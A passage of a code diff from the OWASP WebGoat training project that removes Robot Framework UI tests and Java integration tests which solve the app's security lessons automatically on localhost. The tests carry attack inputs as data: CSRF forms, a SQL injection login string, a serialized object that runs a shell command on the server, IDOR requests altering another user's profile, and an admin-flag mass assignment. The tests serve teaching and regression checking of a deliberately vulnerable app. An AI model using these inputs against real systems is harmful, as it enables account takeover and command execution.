+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                  <outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
+                </configuration>
+              </execution>
+            </executions>
+          </plugin>
+        </plugins>
+      </build>
+    </profile>
   </profiles>
-
 </project>

robot/README.md

@@ -1,19 +0,0 @@
-# Install and use Robotframework
-
-## Install Chromedriver on Mac OS
-
-        brew install cask chromedriver
-        chromedriver --version
-
-Then see security settings and allow the file to run
-
-## Install
-
-        pip3 install virtualenv --user
-        python3 -m virtualenv .venv
-        source .venv/bin/activate
-        pip install robotframework
-        pip install robotframework-SeleniumLibrary
-        pip install webdriver-manager
-        robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
-

robot/goat.robot

@@ -1,101 +0,0 @@
-*** Settings ***
-Documentation  Setup WebGoat Robotframework tests
-Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
-Library  String
-
-Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
-Suite Teardown  Close_Page
-
-*** Variables ***
-${BROWSER}  chrome
-${SLEEP}  100
-${DELAY}  0.25
-${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090
-${USERNAME}  robotuser
-${PASSWORD}  password
-${HEADLESS}  ${FALSE}
-
-*** Keywords ***
-Initial_Page
-  [Documentation]  Check the inital page
-  [Arguments]  ${ENDPOINT}  ${BROWSER}
-  Log To Console  Start WebGoat UI Testing
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  ELSE
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
-  END
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
-  Switch Browser  webgoat
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Switch Browser  webwolf
-  Maximize Browser Window
-  Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${400}  ${200}
-  Set Selenium Speed  ${DELAY}
-
-Close_Page
-  [Documentation]  Closing the browser
-  Log To Console  ==> Stop WebGoat UI Testing
-  IF  ${HEADLESS}
-    Switch Browser  webgoat
-    Close Browser
-    Switch Browser  webwolf
-    Close Browser
-  END
-
-*** Test Cases ***
-
-Check_Initial_Page
-  Switch Browser  webgoat
-  Page Should Contain  Username
-  Click Button  Sign in
-  Page Should Contain  Invalid username
-  Click Link  /WebGoat/registration
-
-Check_Registration_Page
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Input Text  matchingPassword  ${PASSWORD}
-  Click Element  agree
-  Click Button  Sign up
-
-Check_Welcome_Page
-  Page Should Contain  WebGoat
-  Go To  ${ENDPOINT}/login
-  Page Should Contain  Username
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign in
-  Page Should Contain  WebGoat
-
-Check_Menu_Page
-  Click Element  css=a[category='Introduction']
-  Click Element  Introduction-WebGoat
-  CLick Element  Introduction-WebWolf
-  Click Element  css=a[category='General']
-  CLick Element  General-HTTPBasics
-  Click Element  xpath=//*[.='2']
-  Input Text     person  ${USERNAME}
-  Click Button   Go!
-  ${OUT_VALUE}   Get Text  xpath=//div[contains(@class, 'attack-feedback')]
-  ${OUT_RESULT}  Evaluate  "resutobor" in """${OUT_VALUE}"""
-  IF  not ${OUT_RESULT}
-    Fail  "not ok"
-  END
-
-Check_WebWolf
-  Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/WebWolf
-  Go To  ${ENDPOINT_WOLF}/mail
-  Input Text  username  ${USERNAME}
-  Input Text  password  ${PASSWORD}
-  Click Button  Sign In
-

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -1,86 +0,0 @@
-package org.owasp.webgoat;
-
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import org.apache.http.HttpStatus;
-import org.junit.jupiter.api.Test;
-
-import java.util.Map;
-
-class AccessControlIntegrationTest extends IntegrationTest {
-
-    @Test
-    void testLesson() {
-        startLesson("MissingFunctionAC", true);
-        assignment1();
-        assignment2();
-        assignment3();
-
-        checkResults("/access-control");
-    }
-
-    private void assignment3() {
-        //direct call should fail if user has not been created
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .get(url("/WebGoat/access-control/users-admin-fix"))
-                .then()
-                .statusCode(HttpStatus.SC_FORBIDDEN);
-
-        //create user
-        var userTemplate = """
-                {"username":"%s","password":"%s","admin": "true"}
-                """;
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .body(String.format(userTemplate, this.getUser(), this.getUser()))
-                .post(url("/WebGoat/access-control/users"))
-                .then()
-                .statusCode(HttpStatus.SC_OK);
-
-        //get the users
-        var userHash =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users-admin-fix"))
-                        .then()
-                        .statusCode(200)
-                        .extract()
-                        .jsonPath()
-                        .get("find { it.username == \"Jerry\" }.userHash");
-
-        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
-    }
-
-    private void assignment2() {
-        var userHash =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users"))
-                        .then()
-                        .statusCode(200)
-                        .extract()
-                        .jsonPath()
-                        .get("find { it.username == \"Jerry\" }.userHash");
-
-        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
-    }
-
-    private void assignment1() {
-        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
-    }
-}

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -1,259 +0,0 @@
-package org.owasp.webgoat;
-
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import lombok.Data;
-import lombok.SneakyThrows;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.owasp.webgoat.container.lessons.Assignment;
-
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-public class CSRFIntegrationTest extends IntegrationTest {
-
-    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
-            "</form></body></html>";
-
-    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
-            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
-            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
-            "</form>\n" +
-            "</body></html>";
-
-    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
-            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
-            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
-            "</form></body></html>";
-
-    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
-            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
-            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
-            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
-            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
-            "</form></body></html>";
-
-    private String webwolfFileDir;
-
-    @BeforeEach
-    @SneakyThrows
-    public void init() {
-        startLesson("CSRF");
-        webwolfFileDir = getWebWolfFileServerLocation();
-        uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
-        uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
-        uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
-    }
-
-    @TestFactory
-    Iterable<DynamicTest> testCSRFLesson() {
-        return Arrays.asList(
-                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
-                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
-                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
-        );
-    }
-
-    @AfterEach
-    public void shutdown() throws IOException {
-        //logout();
-        login();//because old cookie got replaced and invalidated
-        startLesson("CSRF", false);
-        checkResults("/csrf");
-    }
-
-    private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
-
-        //remove any left over html
-        Path webWolfFilePath = Paths.get(webwolfFileDir);
-        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
-        }
-
-        //upload trick html
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .multiPart("file", htmlName, htmlContent.getBytes())
-                .post(webWolfUrl("/WebWolf/fileupload"))
-                .then()
-                .extract().response().getBody().asString();
-    }
-
-    private String callTrickHtml(String htmlName) {
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.substring(8 + result.indexOf("action=\""));
-        result = result.substring(0, result.indexOf("\""));
-
-        return result;
-    }
-
-    private void checkAssignment3(String goatURL) {
-        String flag = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .post(goatURL)
-                .then()
-                .extract().path("flag").toString();
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
-    }
-
-    private void checkAssignment4(String goatURL) {
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("reviewText", "test review");
-        params.put("stars", "5");
-        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
-
-        boolean result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .formParams(params)
-                .post(goatURL)
-                .then()
-                .extract().path("lessonCompleted");
-        assertEquals(true, result);
-
-    }
-
-    private void checkAssignment7(String goatURL) {
-        Map<String, Object> params = new HashMap<>();
-        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
-
-        String flag = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .contentType(ContentType.TEXT)
-                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
-                .post(goatURL)
-                .then()
-                .extract().asString();
-        flag = flag.substring(9 + flag.indexOf("flag is:"));
-        flag = flag.substring(0, flag.indexOf("\""));
-
-        params.clear();
-        params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
-
-    }
-
-    private void checkAssignment8(String goatURL) {
-
-        //first make sure there is an attack csrf- user
-        registerCSRFUser();
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "csrf-" + this.getUser());
-        params.put("password", "password");
-
-        //login and get the new cookie
-        String newCookie = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .params(params)
-                .post(goatURL)
-                .then()
-                .extract().cookie("JSESSIONID");
-
-        //select the lesson
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", newCookie)
-                .get(url("CSRF.lesson.lesson"))
-                .then()
-                .statusCode(200);
-
-        //click on the assignment
-        boolean result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", newCookie)
-                .post(url("/csrf/login"))
-                .then()
-                .statusCode(200)
-                .extract().path("lessonCompleted");
-
-        assertThat(result).isTrue();
-
-        login();
-        startLesson("CSRF", false);
-
-        Overview[] assignments = RestAssured.given()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/service/lessonoverview.mvc"))
-                .then()
-                .extract()
-                .jsonPath()
-                .getObject("$", Overview[].class);
-//		assertThat(assignments)
-//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-//                .extracting(o -> o.solved)
-//                .containsExactly(true);
-    }
-
-    @Data
-    private static class Overview {
-        Assignment assignment;
-        boolean solved;
-    }
-
-    /**
-     * Try to register the new user. Ignore the result.
-     */
-    private void registerCSRFUser() {
-
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", "csrf-" + this.getUser())
-                .formParam("password", "password")
-                .formParam("matchingPassword", "password")
-                .formParam("agree", "agree")
-                .post(url("register.mvc"));
-
-    }
-
-}

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -1,112 +0,0 @@
-package org.owasp.webgoat;
-
-
-import io.restassured.RestAssured;
-import org.junit.jupiter.api.Test;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-public class ChallengeIntegrationTest extends IntegrationTest {
-
-    @Test
-    public void testChallenge1() {
-        startLesson("Challenge1");
-
-        byte[] resultBytes =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/challenge/logo"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asByteArray();
-
-        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "admin");
-        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
-
-
-        checkAssignment(url("/WebGoat/challenge/1"), params, true);
-        String result =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url("/WebGoat/challenge/1"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asString();
-
-        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-        params.clear();
-        params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
-
-
-        checkResults("/challenge/1");
-
-        List<String> capturefFlags =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
-                        .then()
-                        .statusCode(200)
-                        .extract().jsonPath()
-                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-        assertTrue(capturefFlags.contains("Admin lost password"));
-    }
-
-    @Test
-    public void testChallenge5() {
-        startLesson("Challenge5");
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username_login", "Larry");
-        params.put("password_login", "1' or '1'='1");
-
-        String result =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url("/WebGoat/challenge/5"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asString();
-
-        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-        params.clear();
-        params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
-
-
-        checkResults("/challenge/5");
-
-        List<String> capturefFlags =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
-                        .then()
-                        .statusCode(200)
-                        .extract().jsonPath()
-                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-        assertTrue(capturefFlags.contains("Without password"));
-    }
-
-}

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -1,134 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.Assertions.fail;
-
-import java.nio.charset.Charset;
-import java.security.NoSuchAlgorithmException;
-import java.security.PrivateKey;
-import java.security.interfaces.RSAPrivateKey;
-import java.security.spec.InvalidKeySpecException;
-import java.util.Base64;
-import java.util.HashMap;
-import java.util.Map;
-
-import javax.xml.bind.DatatypeConverter;
-
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
-import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
-
-import io.restassured.RestAssured;
-
-public class CryptoIntegrationTest extends IntegrationTest {
-
-	@Test
-	public void runTests() {
-		startLesson("Cryptography");
-
-		checkAssignment2();
-		checkAssignment3();
-
-		// Assignment 4
-		try {
-			checkAssignment4();
-		} catch (NoSuchAlgorithmException e) {
-			e.printStackTrace();
-			fail();
-		}
-
-		try {
-			checkAssignmentSigning();
-		} catch (Exception e) {
-			e.printStackTrace();
-			fail();
-		}
-		
-		checkAssignmentDefaults();
-
-		checkResults("/crypto");
-
-	}
-
-	private void checkAssignment2() {
-
-		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
-				.asString();
-		basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
-		String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
-		String answer_user = decodedString.split(":")[0];
-		String answer_pwd = decodedString.split(":")[1];
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_user", answer_user);
-		params.put("answer_pwd", answer_pwd);
-		checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
-	}
-
-	private void checkAssignment3() {
-		String answer_1 = "databasepassword";
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_pwd1", answer_1);
-		checkAssignment(url("/crypto/encoding/xor"), params, true);
-	}
-
-	private void checkAssignment4() throws NoSuchAlgorithmException {
-
-		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/md5")).then().extract().asString();
-
-		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/sha256")).then().extract().asString();
-
-		String answer_1 = "unknown";
-		String answer_2 = "unknown";
-		for (String secret : HashingAssignment.SECRETS) {
-			if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
-				answer_1 = secret;
-			}
-			if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
-				answer_2 = secret;
-			}
-		}
-
-		Map<String, Object> params = new HashMap<>();
-		params.clear();
-		params.put("answer_pwd1", answer_1);
-		params.put("answer_pwd2", answer_2);
-		checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
-	}
-
-	private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
-    	
-    	String privatePEM = RestAssured.given()
-            	.when()
-            	.relaxedHTTPSValidation()
-            	.cookie("JSESSIONID", getWebGoatCookie())
-            	.get(url("/crypto/signing/getprivate"))
-            	.then()
-				.extract().asString();
-		PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
-
-		RSAPrivateKey privk = (RSAPrivateKey) privateKey;
-		String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
-    	String signature = CryptoUtil.signMessage(modulus, privateKey);
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("modulus", modulus);
-        params.put("signature", signature);
-        checkAssignment(url("/crypto/signing/verify"), params, true);
-    }
-	
-	private void checkAssignmentDefaults() {
-    	
-    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
-
-		Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("secretText", text);
-        params.put("secretFileName", "default_secret");
-        checkAssignment(url("/crypto/secure/defaults"), params, true);
-    }
-    
-}

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,34 +0,0 @@
-package org.owasp.webgoat;
-
-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-
-public class DeserializationIntegrationTest extends IntegrationTest {
-
-    private static String OS = System.getProperty("os.name").toLowerCase();
-
-    @Test
-    public void runTests() throws IOException {
-        startLesson("InsecureDeserialization");
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-
-        if (OS.indexOf("win") > -1) {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
-        } else {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
-        }
-        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
-
-        checkResults("/InsecureDeserialization/");
-
-    }
-
-
-}

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -1,98 +0,0 @@
-package org.owasp.webgoat;
-
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import java.io.IOException;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import lombok.SneakyThrows;
-
-public class IDORIntegrationTest extends IntegrationTest {
-	
-	@BeforeEach
-    @SneakyThrows
-    public void init() {
-    	startLesson("IDOR");        
-    }
-
-    @TestFactory
-    Iterable<DynamicTest> testIDORLesson() {
-    	return Arrays.asList(
-    			dynamicTest("login",()-> loginIDOR()),
-    			dynamicTest("profile", () -> profile())
-    			);
-    }
-	
-    @AfterEach
-    public void shutdown() throws IOException {
-        checkResults("/IDOR");        
-    }
-    
-    private void loginIDOR() throws IOException {
-    	
-    	Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "tom");
-        params.put("password", "cat");
-       
-    	
-        checkAssignment(url("/WebGoat/IDOR/login"), params, true);
-        	
-    }
-    
-    private void profile() {
-    	MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("userId"), CoreMatchers.is("2342384"));
-    	Map<String, Object> params = new HashMap<>();
-    	params.clear();
-        params.put("attributes", "userId,role");
-        checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
-        params.clear();
-        params.put("url", "WebGoat/IDOR/profile/2342384");
-        checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
-        
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile/2342388"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-        
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())    
-                        .contentType(ContentType.JSON) //part of the lesson
-                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
-                        .put(url("/WebGoat/IDOR/profile/2342388"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
-        
-        
-    }
-    
-}

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -1,231 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import lombok.Getter;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-
-import java.util.Map;
-import java.util.Objects;
-
-import static io.restassured.RestAssured.given;
-
-public abstract class IntegrationTest {
-
-    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
-    @Getter
-    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
-    private static boolean useSSL = false;
-    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
-    @Getter
-    private String webGoatCookie;
-    @Getter
-    private String webWolfCookie;
-    @Getter
-    private String user = "webgoat";
-
-    protected String url(String url) {
-        url = url.replaceFirst("/WebGoat/", "");
-        url = url.replaceFirst("/WebGoat", "");
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return webgoatUrl + url;
-    }
-
-    protected String webWolfUrl(String url) {
-        url = url.replaceFirst("/WebWolf/", "");
-        url = url.replaceFirst("/WebWolf", "");
-        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return webWolfUrl + url;
-    }
-
-    @BeforeEach
-    public void login() {
-        String location = given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", user)
-                .formParam("password", "password")
-                .post(url("login")).then()
-                .cookie("JSESSIONID")
-                .statusCode(302)
-                .extract().header("Location");
-        if (location.endsWith("?error")) {
-            webGoatCookie = RestAssured.given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .formParam("username", user)
-                    .formParam("password", "password")
-                    .formParam("matchingPassword", "password")
-                    .formParam("agree", "agree")
-                    .post(url("register.mvc"))
-                    .then()
-                    .cookie("JSESSIONID")
-                    .statusCode(302)
-                    .extract()
-                    .cookie("JSESSIONID");
-        } else {
-            webGoatCookie = given()
-                    .when()
-                    .relaxedHTTPSValidation()
-                    .formParam("username", user)
-                    .formParam("password", "password")
-                    .post(url("login")).then()
-                    .cookie("JSESSIONID")
-                    .statusCode(302)
-                    .extract().cookie("JSESSIONID");
-        }
-
-        webWolfCookie = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", user)
-                .formParam("password", "password")
-                .post(webWolfUrl("login"))
-                .then()
-                .statusCode(302)
-                .cookie("WEBWOLFSESSION")
-                .extract()
-                .cookie("WEBWOLFSESSION");
-    }
-
-    @AfterEach
-    public void logout() {
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .get(url("logout"))
-                .then()
-                .statusCode(200);
-    }
-
-    public void startLesson(String lessonName) {
-        startLesson(lessonName, false);
-    }
-
-    public void startLesson(String lessonName, boolean restart) {
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url(lessonName + ".lesson.lesson"))
-                .then()
-                .statusCode(200);
-
-        if (restart) {
-            RestAssured.given()
-                    .when()
-                    .relaxedHTTPSValidation()
